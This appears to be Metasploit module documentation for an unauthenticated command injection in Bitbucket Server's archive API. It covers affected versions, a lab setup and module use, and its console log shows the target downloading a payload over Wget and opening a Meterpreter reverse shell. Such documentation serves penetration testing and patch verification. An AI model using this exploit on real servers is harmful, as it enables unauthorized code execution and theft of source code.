## Vulnerable Application

Various versions of Bitbucket Server and Data Center are vulnerable to
an unauthenticated command injection vulnerability in multiple API endpoints.

The `/rest/api/latest/projects/{projectKey}/repos/{repositorySlug}/archive` endpoint
creates an archive of the repository, leveraging the `git-archive` command to do so.
Supplying NULL bytes to the request enables the passing of additional arguments to the
command, ultimately enabling execution of arbitrary commands.

According to the [advisory](https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-advisory-2022-08-24-1155489835.html), vulnerable versions of Bitbucket are:

  Any version released after version `6.10.17` and before:
          * `7.6.17`
          * `7.17.10`
          * `7.21.4`
          * `8.0.3`
          * `8.1.3`
          * `8.2.2`
          * `8.3.1`

Download archives can be found [here](https://www.atlassian.com/software/bitbucket/download-archives).
    
### Installation Instructions

1. Install Git on the target machine
  * sudo apt install -y git
2. Download a vulnerable version of Bitbucket. For example, version `8.2.1` can be found
[here](https://www.atlassian.com/software/stash/downloads/binary/atlassian-bitbucket-8.2.1-x64.bin)
3. Make sure the resulting bin file is executable and run it
  * chmod +x atlassian-bitbucket-8.3.0-x64.bin && sudo ./atlassian-bitbucket-8.3.0-x64.bin
4. An installation wizard will pop up. Make sure `Install a new instance` is checked, then click `Next`
5. Check `Install a Server instance` and click `Next`
6. If the default destination directory looks good, click `Next`
7. Click `Next` if the default Bitbucket data directory looks fine
8. Make sure the `Use default HTTP port (7990)` selection is checked and click `Next`
9. Make sure the `Install Bitbucket as a service` box is checked and click `Next`
10. Click `Install` if everything looks correct on the summary screen
11. Once the installation completes, make sure the `Would you like to launch Bitbucket` option is selected
and click `Next`
12. Ensure `Launch Bitbucket <version> in browser` is selected and click `Finish`
13. Navigate to the Bitbucket setup page (http://localhost:7990) and select the `I need an evaluation license` option
14. If you already have an account, select `I have an account`; otherwise, create a new account
15. 'up and running' should be selected on the next page, so click `Generate License`
16. Confirm that the prompt gives you the correct server, then click `Yes`
17. The license should be entered in the box, so select `Next`
18. Finally, set up an administrator account

*Note*: If an error occurs on the last step, just open a browser and navigate to the setup
page at 127.0.0.1:7990

### Vulnerable Setup

1. Log into Bitbucket with your administrator credentials
2. Once logged in, select `Projects` at the top menu
3. Select `Create project`
4. Enter a name for the project and click `Create project`
5. On the next page, select `Create repository`
6. Enter a name for the repository and select `Create repository`
7. Follow the instructions to clone the repository and push data to the repository so it is not empty
8. Click the gear on the left side of the next page
9. Select `Repository permissions` under `Security` on the left
10. Underneath `Public access`, check `Enable` to make the repository public

Bitbucket should now be exploitable

## Verification Steps

1. Install the application
2. Start msfconsole
3. Do: `use exploit/linux/http/bitbucket_git_cmd_injection`
4. Do: `run`
5. You should get a shell.

## Options

### USERNAME

An optional username to authenticate to Bitbucket with

### PASSWORD

An optional password to authenticate to Bitbucket with

### Bitbucket version 8.2.1 on Ubuntu 22.04

```
msf > use exploit/linux/http/bitbucket_git_cmd_injection
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf exploit(linux/http/bitbucket_git_cmd_injection) > set rhost 192.168.140.216
rhost => 192.168.140.216
msf exploit(linux/http/bitbucket_git_cmd_injection) > set lhost 192.168.140.1
lhost => 192.168.140.1
msf exploit(linux/http/bitbucket_git_cmd_injection) > run

[*] Started reverse TCP handler on 192.168.140.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Searching Bitbucket for publicly accessible repository
[+] Found public repo 'repo_name' in project 'TEST'!
[*] Using URL: http://192.168.140.1:8080/7SGXRWRlXr8t
[*] Client 192.168.140.216 (Wget/1.21.2) requested /7SGXRWRlXr8t
[*] Sending payload to 192.168.140.216 (Wget/1.21.2)
[*] Sending stage (3020772 bytes) to 192.168.140.216
[*] Meterpreter session 1 opened (192.168.140.1:4444 -> 192.168.140.216:57994) at 2022-09-20 18:40:27 -0500
[*] Command Stager progress - 100.00% done (118/118 bytes)
[*] Server stopped.

meterpreter > getuid
Server username: atlbitbucket
meterpreter > sysinfo
Computer     : 192.168.140.216
OS           : Ubuntu 22.04 (Linux 5.15.0-48-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >
```
